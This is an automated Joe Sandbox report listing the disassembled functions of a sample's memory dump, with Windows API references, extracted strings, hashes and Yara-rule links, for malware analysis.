Opcode Fuzzy Hash: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction Fuzzy Hash: 9ED0C939A1175092EB46AB72AC5A3E922A0F75C3C1F901819B70907775DF7E81956A00

Function 00000001400120A0 Relevance: 3.0, APIs: 2, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32 ref: 00000001400120AB
TlsFree.KERNEL32 ref: 00000001400120B7

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction ID: 71a10d3d5b3131d437c50284ad1bfb95f0c128dd24e11de8e9b8b88d768efc2d
Opcode Fuzzy Hash: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction Fuzzy Hash: 4CC04C34611400D2E606EB13EC953A42362B79C7C5F801414E70E1B671CE394955E700

Function 0000000140011D30 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011EF4: HeapFree.KERNEL32 ref: 0000000140011F4D

HeapAlloc.KERNEL32 ref: 0000000140011D82
memset.MSVCRT ref: 0000000140011DB6

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Heap$AllocFreememset
String ID:
API String ID: 3063399779-0
Opcode ID: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction ID: 5c5c97092251ccb6e51d21bc2c296289ab600fd53c4e4fe069e69402a2a58e68
Opcode Fuzzy Hash: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction Fuzzy Hash: F7213B32601B5086EA1ADB53BC41799A6A8FBC8FD0F498025AF584BB66DE38C852C340

Function 00000001400126D0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000001400126E2
HeapReAlloc.KERNEL32 ref: 0000000140012762

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapValue
String ID:
API String ID: 2362848668-0
Opcode ID: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction ID: d5031950f6f24f379c2142eebe898701a91e7a03f91a2b9bee16bac6c279ab43
Opcode Fuzzy Hash: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction Fuzzy Hash: 2D219676609B44C6CB20CF5AE49025AB7A0F7CCBA8F144216EB8D43B78DF79C651CB40

Function 000000014000DD30 Relevance: 2.5, APIs: 2, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000000014000DD88
CloseHandle.KERNEL32 ref: 000000014000DD91

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CloseFreeHandleHeap
String ID:
API String ID: 1642312469-0
Opcode ID: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction ID: 5f93da8337f86b39695cad05c5aa1bbbcf0731d39a623fe836b1511b3ba38e21
Opcode Fuzzy Hash: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction Fuzzy Hash: AD01FB71614A4081EA56EBA7F5543E96391ABCDBE0F445216BB2E4B7F6DE38C4808740

Function 000000014000DDC0 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000DDED

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction ID: 85eb21683fd68773ec3f68e7974a7ba45b0d300be2a951898864618d3eded784
Opcode Fuzzy Hash: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction Fuzzy Hash: D4F030B6624694CBCB10DF39E00166977B0F349B48F200416EF4847764DB36C992CF10

Function 000000014000C45C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: f36f728fb68e9c030c92917883890652b287511953764533778c77d950d1811c
Instruction ID: ab6ea35cc4c4ca181117cfceb55a371778b923cb2c6d718499f93cc637994782
Opcode Fuzzy Hash: f36f728fb68e9c030c92917883890652b287511953764533778c77d950d1811c
Instruction Fuzzy Hash: 3BC08CA0B1370082FC0FD30BAC943E022E16F0D3C1EC04129AA0C0B338EB3D80944700

Function 0000000140010FFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32 ref: 0000000140011019

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction ID: 3be53cbf4efc602c07d04e61f546686734bccd281855bf9d316eb8d3f4bb89d6
Opcode Fuzzy Hash: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction Fuzzy Hash: E3D0E97091558096F66BA747EC857E422A2B7AC3C5F500419E3050B1B28ABE49DDEA15

Function 000000014000DC88 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 000000014000DC91

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction ID: d26b75307fbf4d2f65b3bf59e092d1c76b80437de534da0d48005b48f8adbafa
Opcode Fuzzy Hash: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction Fuzzy Hash: 74C09B74663002C1FA6A936328A97E451905B0C391F504511F7064117089BD14975530

Function 000000014000C980 Relevance: 1.5, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014000C98E

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction ID: 2c080862c33f0b7fb519294060e944d109da0d65108c87cfa11e07f441f421b0
Opcode Fuzzy Hash: 3010fbf55b21657f3d2da30d78e3fc06337a299998e6cc7e6108e39cc3db3a27
Instruction Fuzzy Hash: 40C02B34712690C2E3492323AC033991090F34C3C0FD02018F60102770CE3D80A70B00

Function 000000014000C6B0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C6C0

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerRemoveVectored
String ID:
API String ID: 1340492425-0
Opcode ID: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction ID: 43e8ab96d0ef540813763e0684213002212cef3b8ee59004a75f8fb70944dace
Opcode Fuzzy Hash: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction Fuzzy Hash: 30C08C78B03B0085FA4AEB03B8883A422606B8C7C1F800008E60E037328E3C04A54780

Function 0000000140012520 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000000014001252A

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c164aa80badfc177248d89438e49745db99a56b8fb9d29675fc464102b6282a0
Instruction ID: b586a9c78aaa43fddf3ec091a8dff657c7d1e7c92e3b3169bdbbaf5832d2cb3a
Opcode Fuzzy Hash: c164aa80badfc177248d89438e49745db99a56b8fb9d29675fc464102b6282a0
Instruction Fuzzy Hash: ACD06C36614B84C3CA249B06E85135973A0F788B88F900215EA8D0B734CF3DC222DB00

Non-executed Functions

Function 000000014000B758 Relevance: 72.0, APIs: 35, Strings: 6, Instructions: 272windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000B5D8: wcslen.MSVCRT ref: 000000014000B5EA
Part of subcall function 000000014000B5D8: HeapAlloc.KERNEL32 ref: 000000014000B600

GetStockObject.GDI32 ref: 000000014000B7B6
LoadIconW.USER32 ref: 000000014000B7F2
LoadCursorW.USER32 ref: 000000014000B803
RegisterClassExW.USER32 ref: 000000014000B82D
IsWindowEnabled.USER32 ref: 000000014000B859
EnableWindow.USER32 ref: 000000014000B86C
GetSystemMetrics.USER32 ref: 000000014000B88B
GetSystemMetrics.USER32 ref: 000000014000B89B
CreateWindowExW.USER32 ref: 000000014000B8F0
SetWindowLongPtrW.USER32 ref: 000000014000B90E
CreateWindowExW.USER32 ref: 000000014000B95E
SendMessageW.USER32 ref: 000000014000B97C
CreateWindowExW.USER32 ref: 000000014000B9D9
SendMessageW.USER32 ref: 000000014000B9FA
SetFocus.USER32 ref: 000000014000BA07
SendMessageW.USER32 ref: 000000014000BA22
wcslen.MSVCRT ref: 000000014000BA2B
wcslen.MSVCRT ref: 000000014000BA36
SendMessageW.USER32 ref: 000000014000BA4D
CreateWindowExW.USER32 ref: 000000014000BAA9
SendMessageW.USER32 ref: 000000014000BAC8
CreateAcceleratorTableW.USER32 ref: 000000014000BAED
SetForegroundWindow.USER32 ref: 000000014000BAF9
BringWindowToTop.USER32 ref: 000000014000BB02
GetMessageW.USER32 ref: 000000014000BB16
TranslateAcceleratorW.USER32 ref: 000000014000BB2A
TranslateMessage.USER32 ref: 000000014000BB38
DispatchMessageW.USER32 ref: 000000014000BB42
DestroyAcceleratorTable.USER32 ref: 000000014000BB59
wcslen.MSVCRT ref: 000000014000BB68
wcscpy.MSVCRT ref: 000000014000BB7E
HeapFree.KERNEL32 ref: 000000014000BB90
HeapFree.KERNEL32 ref: 000000014000BBB5
HeapFree.KERNEL32 ref: 000000014000BBCC
HeapFree.KERNEL32 ref: 000000014000BBE3

Strings

P, xrefs: 000000014000BA7B
n, xrefs: 000000014000BAA1
STATIC, xrefs: 000000014000B944
C, xrefs: 000000014000BA99
EDIT, xrefs: 000000014000B9BF
BUTTON, xrefs: 000000014000BA8A

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Window$Message$CreateHeapSend$Freewcslen$Accelerator$LoadMetricsSystemTableTranslate$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundIconLongObjectRegisterStockwcscpy
String ID: BUTTON$C$EDIT$P$STATIC$n
API String ID: 9748049-1690119102
Opcode ID: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction ID: f11a45e4f50ece19de517c67b98e9e797584e7b20c87343cc1d5b6865565d8d0
Opcode Fuzzy Hash: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction Fuzzy Hash: 4DD134B5605B4086EB12DF62F8447AA77A5FB8CBC8F444129EB4A47B79DF7DC4098B00

Function 0000000140013021 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 381COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 000000014001348B
unknown header flags set, xrefs: 000000014001305E
unknown compression method, xrefs: 0000000140012F79
, xrefs: 00000001400130EB

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown compression method$unknown header flags set
API String ID: 0-4074041902
Opcode ID: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction ID: dac418b812a3de41c7c7b5072b67fa498c356b49e4a588b682982c80ed946ec6
Opcode Fuzzy Hash: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction Fuzzy Hash: 4DF19C726007508BEB268F1AC48CBAE3BE6F7487C8F064519EF8A4B7A4DB76C555C740

Function 000000014000BC94 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 115libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000BCDB
memset.MSVCRT ref: 000000014000BCEC
LoadLibraryW.KERNEL32 ref: 000000014000BCFB
GetProcAddress.KERNEL32 ref: 000000014000BD1C
GetProcAddress.KERNEL32 ref: 000000014000BD2F
wcsncpy.MSVCRT ref: 000000014000BD53
wcslen.MSVCRT ref: 000000014000BD66
CoTaskMemFree.OLE32 ref: 000000014000BDF2
wcslen.MSVCRT ref: 000000014000BDFB
FreeLibrary.KERNEL32 ref: 000000014000BE18

Strings

SHGetPathFromIDListW, xrefs: 000000014000BD22
P, xrefs: 000000014000BD9C
SHBrowseForFolderW, xrefs: 000000014000BD12
SHELL32.DLL, xrefs: 000000014000BCF1

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskmemsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 217932011-4219398408
Opcode ID: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction ID: 4189c401249be1c18680961fdd5f00b64fd9ff4c66db3fab09ee0cba437a9a89
Opcode Fuzzy Hash: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction Fuzzy Hash: 6C418F72211B4086EB16EF12F8447EA73A4F78CBC8F544125EB49477A5DF39C55AC700

Function 000000014000DB18 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 107libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

LoadLibraryW.KERNEL32 ref: 000000014000DB51
GetProcAddress.KERNEL32 ref: 000000014000DB69
wcscpy.MSVCRT ref: 000000014000DB9A
wcscat.MSVCRT ref: 000000014000DBA9
wcslen.MSVCRT ref: 000000014000DBB1
CoTaskMemFree.OLE32 ref: 000000014000DBBE
FreeLibrary.KERNEL32 ref: 000000014000DBC7
wcscat.MSVCRT ref: 000000014000DBEC
wcslen.MSVCRT ref: 000000014000DBF4

Strings

Shell32.DLL, xrefs: 000000014000DB4A
SHGetKnownFolderPath, xrefs: 000000014000DB5F
Downloads\, xrefs: 000000014000DBE2

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1740785346-287042676
Opcode ID: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction ID: 39544a34e48b1591535f5ec23c8084432afafb0fbbbedabb5ee694640fe7ccea
Opcode Fuzzy Hash: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction Fuzzy Hash: A94184B1214A46C2FA26EB57B4A4BF97291AB8C7D0F540127BB0A0B7F5DEB9C841C610

Function 0000000140016CC4 Relevance: 19.6, APIs: 13, Instructions: 81memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140016CF2
InitializeCriticalSection.KERNEL32 ref: 0000000140016D01
TlsGetValue.KERNEL32 ref: 0000000140016D17
HeapAlloc.KERNEL32 ref: 0000000140016D37
EnterCriticalSection.KERNEL32 ref: 0000000140016D4C
LeaveCriticalSection.KERNEL32 ref: 0000000140016D6F
GetCurrentProcess.KERNEL32 ref: 0000000140016D75
GetCurrentThread.KERNEL32 ref: 0000000140016D7E
GetCurrentProcess.KERNEL32 ref: 0000000140016D87
DuplicateHandle.KERNEL32 ref: 0000000140016DAC
RegisterWaitForSingleObject.KERNEL32 ref: 0000000140016DD1
TlsSetValue.KERNEL32 ref: 0000000140016DE0
HeapAlloc.KERNEL32 ref: 0000000140016DF3

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction ID: 65bd0fc00ed65caac6c8ae18375092c396c339aa9c4fc9a556ba9f8eb5a1fbfe
Opcode Fuzzy Hash: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction Fuzzy Hash: F141E132205B408AEB129F62EC443E977A0F78CBD5F484129EB490B774DF39C959D740

Function 0000000140008260 Relevance: 13.7, APIs: 9, Instructions: 249COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 0000000140008373

Part of subcall function 0000000140012630: TlsGetValue.KERNEL32 ref: 000000014001263F

_wcsdup.MSVCRT ref: 00000001400083AD
_wcsdup.MSVCRT ref: 00000001400083D0
_wcsdup.MSVCRT ref: 00000001400083EE
wcsncpy.MSVCRT ref: 00000001400084F6
free.MSVCRT ref: 0000000140008570
free.MSVCRT ref: 0000000140008582
free.MSVCRT ref: 0000000140008596
wcsncpy.MSVCRT ref: 00000001400085CE

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID:
API String ID: 1554701960-0
Opcode ID: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction ID: 9aa5ebfb9d0338231e5de8689cc7ecd01d3be8732c0a46cca62a2a5aa1271af7
Opcode Fuzzy Hash: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction Fuzzy Hash: FB91BFB2604A8185EA76DF13B9507EA73A0FB48BD5F484225BFCA476E5EB38C542C701

Function 0000000140011AB8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140011AD9
GetProcAddress.KERNEL32 ref: 0000000140011AF5
FreeLibrary.KERNEL32 ref: 0000000140011B1A
Sleep.KERNEL32 ref: 0000000140011B3A

Strings

Kernel32.dll, xrefs: 0000000140011ACD
0w, xrefs: 0000000140011AC2
InitOnceExecuteOnce, xrefs: 0000000140011AEB

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Library$AddressFreeLoadProcSleep
String ID: 0w$InitOnceExecuteOnce$Kernel32.dll
API String ID: 938261879-4269124590
Opcode ID: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction ID: 258e5301f75bcfa7e340e12184f2e3f20ed82b399a9dd39da3854f47a4428b06
Opcode Fuzzy Hash: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction Fuzzy Hash: AB118F3120974585EB5ADF57E8843E973A0FB8CBD0F488029AB0A0B666EF3AC595C340

